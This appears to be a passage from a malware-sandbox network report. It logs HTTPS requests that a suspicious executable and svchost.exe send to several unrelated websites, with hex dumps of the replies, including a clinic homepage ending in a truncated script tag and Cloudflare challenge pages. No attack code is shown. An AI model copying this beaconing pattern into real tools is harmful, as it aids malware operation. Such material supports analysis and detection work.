2023-03-10 06:56:30 UTC	2424	IN	Data Raw: 62 6c 6f 63 6b 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 65 64 20 67 2d 62 67 2d 34 20 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 69 6f 6e 2d 32 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 32 2e 70 6e 67 22 20 61 6c 74 3d 22 69 6d 61 67 65 22 20 2f 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 74 69 74 6c 65 22 3e 0a 3c 73 70 61 6e 3e 43 69 74 61 73 20 4d c3 a9 64 69 63 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 Data Ascii: block "><div class="g-animatedblock-animated g-bg-4 g-animatedblock-animation-2"><img src="/images/rocketlauncher/home/slideshow/img-02.png" alt="image" /><div class="g-animatedblock-title"><span>Citas Mdicas</span></div><div class="g-animatedbloc
2023-03-10 06:56:30 UTC	2425	IN	Data Raw: 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 34 2e 70 6e 67 22 20 61 6c 74 3d 22 53 61 6c 69 65 6e 74 22 20 2f 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 20 6e 6f 70 61 64 64 69 6e 67 61 6c 6c 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 Data Ascii: er/home/slideshow/img-04.png" alt="Salient" /></div></div></div></div></div></div><div class="g-grid"><div class="g-block size-100 nopaddingall"><div class="g-content"><div class="moduletable "><div class="g-animatedblock "><div class="g-animate
2023-03-10 06:56:30 UTC	2426	IN	Data Raw: 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 73 65 72 76 69 63 69 6f 2f 61 70 6f 79 6f 2d 64 69 61 67 6e 6f 73 74 69 63 6f 22 3e 41 70 6f 79 6f 20 44 69 61 67 6e c3 b3 73 74 69 63 6f 3c 2f 61 3e 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 66 69 67 75 72 65 3e 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 32 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 20 63 65 6e 74 65 72 20 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 68 6f 6d 65 22 3e 0a 3c 66 69 67 75 72 Data Ascii: especialistas/servicio/apoyo-diagnostico">Apoyo Diagnstico</a></div> </div></figure></div> </div></div></div><div class="g-block size-20"><div class="g-content"><div class="moduletable "><div class="g-promoimage center g-promoimage-home"><figur
2023-03-10 06:56:30 UTC	2428	IN	Data Raw: 67 65 2d 68 6f 6d 65 22 3e 0a 3c 66 69 67 75 72 65 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 65 66 66 65 63 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 62 75 74 74 6f 6e 20 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 68 6f 6d 65 2f 63 61 6e 67 75 72 6f 2d 62 61 6a 61 2e 6a 70 67 22 20 61 6c 74 3d 22 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 63 61 70 74 69 6f 6e 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 64 65 73 63 22 3e 3c 61 20 63 6c 61 73 Data Ascii: ge-home"><figure class="g-promoimage-effect"><span class="g-promoimage-iconbutton "></span><img src="/images/home/canguro-baja.jpg" alt=""><div class="g-promoimage-caption"><div class="g-promoimage-icon"></div><div class="g-promoimage-desc"><a clas
2023-03-10 06:56:30 UTC	2429	IN	Data Raw: 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 2d 38 31 32 34 22 20 63 6c 61 73 73 3d 22 67 2d 77 72 61 70 70 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 35 30 22 3e 0a 3c 66 6f 6f 74 65 72 20 69 64 3d 22 67 2d 66 6f 6f 74 65 72 22 3e 0a Data Ascii: lass="g-grid"><div class="g-block size-100"><div class="spacer"></div></div></div></div></section><section id="g-container-8124" class="g-wrapper"><div class="g-container"> <div class="g-grid"><div class="g-block size-50"><footer id="g-footer">
2023-03-10 06:56:30 UTC	2430	IN	Data Raw: 20 64 65 20 61 74 65 6e 63 69 c3 b3 6e 3a 20 4c 75 6e 20 2d 20 56 69 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 35 3a 30 30 20 70 2e 6d 2e 20 6a 6f 72 6e 61 64 61 20 43 6f 6e 74 69 6e 75 61 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 74 72 6f 6e 67 3e 43 69 74 61 73 20 50 72 6f 67 72 61 6d 61 20 43 61 6e 67 75 72 6f 3a 20 3c 70 3e 36 30 37 36 34 33 30 30 32 36 20 45 78 74 2e 33 36 31 2d 33 36 34 20 2d 20 3c 62 72 3e 20 3c 73 74 72 6f 6e 67 3e 48 6f 72 61 72 69 6f 20 64 65 20 41 74 65 6e 63 69 c3 b3 6e 3a 20 44 65 20 4c 75 6e 65 73 20 61 20 56 69 65 72 6e 65 73 20 64 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 31 32 3a 30 30 20 6d 20 79 20 64 65 20 32 3a 30 30 20 70 2e 6d 2e 20 61 20 36 3a 30 30 20 70 2e 6d 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f Data Ascii: de atencin: Lun - Vie 7:00 a.m. a 5:00 p.m. jornada Continua.</br><br></br><strong>Citas Programa Canguro: <p>6076430026 Ext.361-364 - <br> <strong>Horario de Atencin: De Lunes a Viernes de 7:00 a.m. a 12:00 m y de 2:00 p.m. a 6:00 p.m.</br><br></
2023-03-10 06:56:30 UTC	2432	IN	Data Raw: 36 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 50 42 58 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 50 42 58 3a 20 2b 35 Data Ascii: 6</div> </div><div class="g-contact-item"><div class="g-contact-label">Nuevo Sotomayor</div> <div class="g-contact-text">Nuevo Sotomayor</div> </div><div class="g-contact-item"><div class="g-contact-label">PBX</div> <div class="g-contact-text">PBX: +5
2023-03-10 06:56:30 UTC	2433	IN	Data Raw: 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 61 20 68 72 65 66 3d 22 2f 22 20 74 69 74 6c 65 3d 22 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 63 6c 61 73 73 3d 22 67 2d 66 6f 6f 74 65 72 2d 6c 6f 67 6f 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 32 30 32 31 2f 49 63 6f 6e 74 65 63 5f 4c 6f 67 6f 2e 6a 70 67 22 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e 20 4c 75 69 73 22 20 2f 3e 0a 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 20 73 69 7a 65 2d 33 33 2d 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 6f 74 6f 70 2d 36 38 34 36 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e Data Ascii: article" class="g-content g-particle"> <a href="/" title="" rel="home" class="g-footer-logo"><img src="/images/2021/Icontec_Logo.jpg" alt="Clinica San Luis" /></a></div></div><div class="g-block size-33-3"><div id="totop-6846-particle" class="g-con
2023-03-10 06:56:30 UTC	2434	IN	Data Raw: 34 34 38 0d 0a 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 70 69 6e 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 74 3b 22 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 62 6f 74 74 6f 6d 3a 20 30 70 78 3b 20 72 69 67 68 74 3a 30 70 78 3b 20 7a 2d 69 6e 64 65 78 3a 39 39 39 39 39 39 39 39 39 39 39 39 3b 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 22 3e 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 Data Ascii: 448pt type="text/javascript" src="/media/gantry5/assets/js/main.js"></script><p class="pin"><span style="font-size: 10pt;"><div style="position: fixed; bottom: 0px; right:0px; z-index:999999999999; display:block;"><script language="JavaScript" type="te
2023-03-10 06:56:30 UTC	2435	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.6	64871	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:29 UTC	2380	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:29 UTC	2381	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:29 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:29 UTC	2381	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.6	64915	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:29 UTC	2381	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: sigtoa.com
2023-03-10 06:56:29 UTC	2391	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Permissions-Policy: accelerometer=(),autoplay=(),camera=(),clipboard-read=(),clipboard-write=(),fullscreen=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OClV9AkEWDpcV0m299mLMd8pfjvXREVSt7MZXE8aVX4GfznYuDA%2FipEduZd%2BVRMVLETEyZIgpSd%2F1zFatehFT%2B1BNdDhVElL8opQ1G%2BKoYlMdnJr5EsKQg2AF3ia"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a87b1b5637ca-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:29 UTC	2392	IN	Data Raw: 31 65 62 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 1ebc<!DOCTYPE html><html lang="en-US"><head> <title>Just a moment...</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta name="robots" content="noindex
2023-03-10 06:56:29 UTC	2392	IN	Data Raw: 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 77 72 61 70 70 65 72 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 20 68 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d Data Ascii: -width,initial-scale=1"> <link href="/cdn-cgi/styles/challenges.css" rel="stylesheet"> </head><body class="no-js"> <div class="main-wrapper" role="main"> <div class="main-content"> <h1 class="zone-name-title h1"> <im
2023-03-10 06:56:29 UTC	2393	IN	Data Raw: 63 74 69 6f 6e 3d 22 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 66 5f 74 6b 3d 68 76 30 34 79 73 6e 63 68 63 5f 4a 57 45 33 37 41 58 42 75 58 59 62 55 39 41 48 58 77 37 43 71 6c 30 59 34 44 42 55 38 37 70 67 2d 31 36 37 38 34 33 31 33 38 39 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 52 41 22 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 20 65 6e 63 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6d 64 22 20 76 61 6c 75 65 3d 22 5f 6f 42 74 7a 57 73 45 58 53 68 35 6d 79 54 38 59 64 6c 4b 44 75 35 6d 79 6e 79 48 73 41 4a 30 4e 45 5f 31 5f 33 79 70 74 57 73 2d 31 36 37 38 34 33 31 33 38 Data Ascii: ction="/?__cf_chl_f_tk=hv04ysnchc_JWE37AXBuXYbU9AHXw7Cql0Y4DBU87pg-1678431389-0-gaNycGzNCRA" method="POST" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="md" value="_oBtzWsEXSh5myT8YdlKDu5mynyHsAJ0NE_1_3yptWs-167843138
2023-03-10 06:56:29 UTC	2395	IN	Data Raw: 6a 5f 58 38 6f 56 5f 5f 69 52 57 4b 61 38 45 75 53 47 6d 56 56 58 51 4b 6e 33 34 63 77 32 53 68 53 4b 37 32 63 58 43 44 4b 7a 73 58 67 41 4a 41 36 52 59 5a 36 57 2d 4e 51 42 63 6f 74 7a 31 49 2d 4f 5f 68 6b 62 45 6e 32 74 6b 61 56 76 61 69 4b 76 61 32 57 75 38 46 4f 61 47 61 31 70 65 54 57 68 43 58 4b 31 42 41 64 4a 42 53 59 4b 57 73 62 34 6a 76 46 39 46 59 36 77 68 79 6d 64 78 32 76 41 4c 49 77 41 44 4c 4b 59 6d 4a 6e 62 7a 6b 58 6b 41 49 55 2d 32 43 72 46 32 69 77 7a 66 47 45 38 4c 79 62 68 37 34 67 4d 77 7a 75 34 56 35 79 48 70 77 35 45 51 6f 70 59 30 62 5a 70 69 59 64 56 32 65 49 58 72 41 44 5a 33 6b 69 54 50 48 43 42 54 77 49 4f 50 48 6a 4a 43 57 30 74 33 55 76 6d 68 56 48 61 31 73 57 47 35 54 30 58 73 2d 71 74 7a 4e 37 4e 7a 66 57 32 70 39 73 57 55 Data Ascii: j_X8oV__iRWKa8EuSGmVVXQKn34cw2ShSK72cXCDKzsXgAJA6RYZ6W-NQBcotz1I-O_hkbEn2tkaVvaiKva2Wu8FOaGa1peTWhCXK1BAdJBSYKWsb4jvF9FY6whymdx2vALIwADLKYmJnbzkXkAIU-2CrF2iwzfGE8Lybh74gMwzu4V5yHpw5EQopY0bZpiYdV2eIXrADZ3kiTPHCBTwIOPHjJCW0t3UvmhVHa1sWG5T0Xs-qtzN7NzfW2p9sWU
2023-03-10 06:56:29 UTC	2396	IN	Data Raw: 20 20 20 20 63 52 61 79 3a 20 27 37 61 35 39 61 38 37 62 31 62 35 36 33 37 63 61 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 48 61 73 68 3a 20 27 66 36 36 63 63 64 30 34 30 38 65 61 30 34 34 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 55 50 4d 44 54 6b 3a 20 22 5c 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 74 6b 3d 68 76 30 34 79 73 6e 63 68 63 5f 4a 57 45 33 37 41 58 42 75 58 59 62 55 39 41 48 58 77 37 43 71 6c 30 59 34 44 42 55 38 37 70 67 2d 31 36 37 38 34 33 31 33 38 39 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 52 41 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 46 50 57 76 3a 20 27 67 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 54 69 6d 65 4d 73 3a 20 27 31 30 30 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 4d 54 69 6d 65 4d 73 3a 20 27 30 27 Data Ascii: cRay: '7a59a87b1b5637ca', cHash: 'f66ccd0408ea044', cUPMDTk: "\/?__cf_chl_tk=hv04ysnchc_JWE37AXBuXYbU9AHXw7Cql0Y4DBU87pg-1678431389-0-gaNycGzNCRA", cFPWv: 'g', cTTimeMs: '1000', cMTimeMs: '0'
2023-03-10 06:56:29 UTC	2397	IN	Data Raw: 6e 38 41 38 71 2b 33 47 42 74 6d 4f 64 69 35 4a 6d 77 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 32 3a 20 27 2f 32 34 72 57 67 78 54 6d 72 64 49 4b 62 58 72 78 6a 42 44 69 67 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7a 68 3a 20 27 64 4c 68 39 34 5a 58 4c 73 4d 61 54 6f 47 44 33 2f 71 39 42 69 75 6d 61 63 36 79 78 51 56 55 5a 34 63 32 6a 74 34 59 4a 6e 61 55 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 68 3a 20 27 66 78 75 35 2f 69 51 76 50 2f 7a 6e 41 4c 39 38 63 46 50 70 7a 30 44 6a 72 6d 45 33 6f 34 34 57 4d 64 5a 72 36 61 5a 51 52 73 51 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 68 3a 20 27 6a 57 32 78 52 42 73 71 57 31 76 4c 74 75 42 6f 6f 58 39 61 4b 6d 45 44 32 63 5a Data Ascii: n8A8q+3GBtmOdi5Jmw==', i2: '/24rWgxTmrdIKbXrxjBDig==', zh: 'dLh94ZXLsMaToGD3/q9Biumac6yxQVUZ4c2jt4YJnaU=', uh: 'fxu5/iQvP/znAL98cFPpz0DjrmE3o44WMdZr6aZQRsQ=', hh: 'jW2xRBsqW1vLtuBooX9aKmED2cZ
2023-03-10 06:56:29 UTC	2399	IN	Data Raw: 70 74 2e 63 4f 67 55 48 61 73 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 70 6f 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 6e 75 6c 6c 2c 20 6e 75 6c 6c 2c 20 6f 67 55 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 70 6f 29 3b 0a 20 20 20 20 7d 28 29 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 Data Ascii: pt.cOgUHash); cpo.onload = function() { history.replaceState(null, null, ogU); }; } document.getElementsByTagName('head')[0].appendChild(cpo); }());</script> <div class="footer" role="cont
2023-03-10 06:56:29 UTC	2399	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.6	50523	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:14 UTC	215	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-03-10 06:56:14 UTC	260	IN	HTTP/1.1 302 Found Date: Fri, 10 Mar 2023 06:56:14 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Fri, 10 Mar 2023 07:06:14 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=T6BuK23lFbl%2BsxaJqpM4aBnO79rR7z3PgCblbTN%2BW8WMyibKIYlUnJnNX3UlpyoiBez97Xqpf%2BeKtHDTI70Y5aRYVKJhsxSQmgf6G5DRArjYD4iK4zkOTIwM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a81b9ae59b1c-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
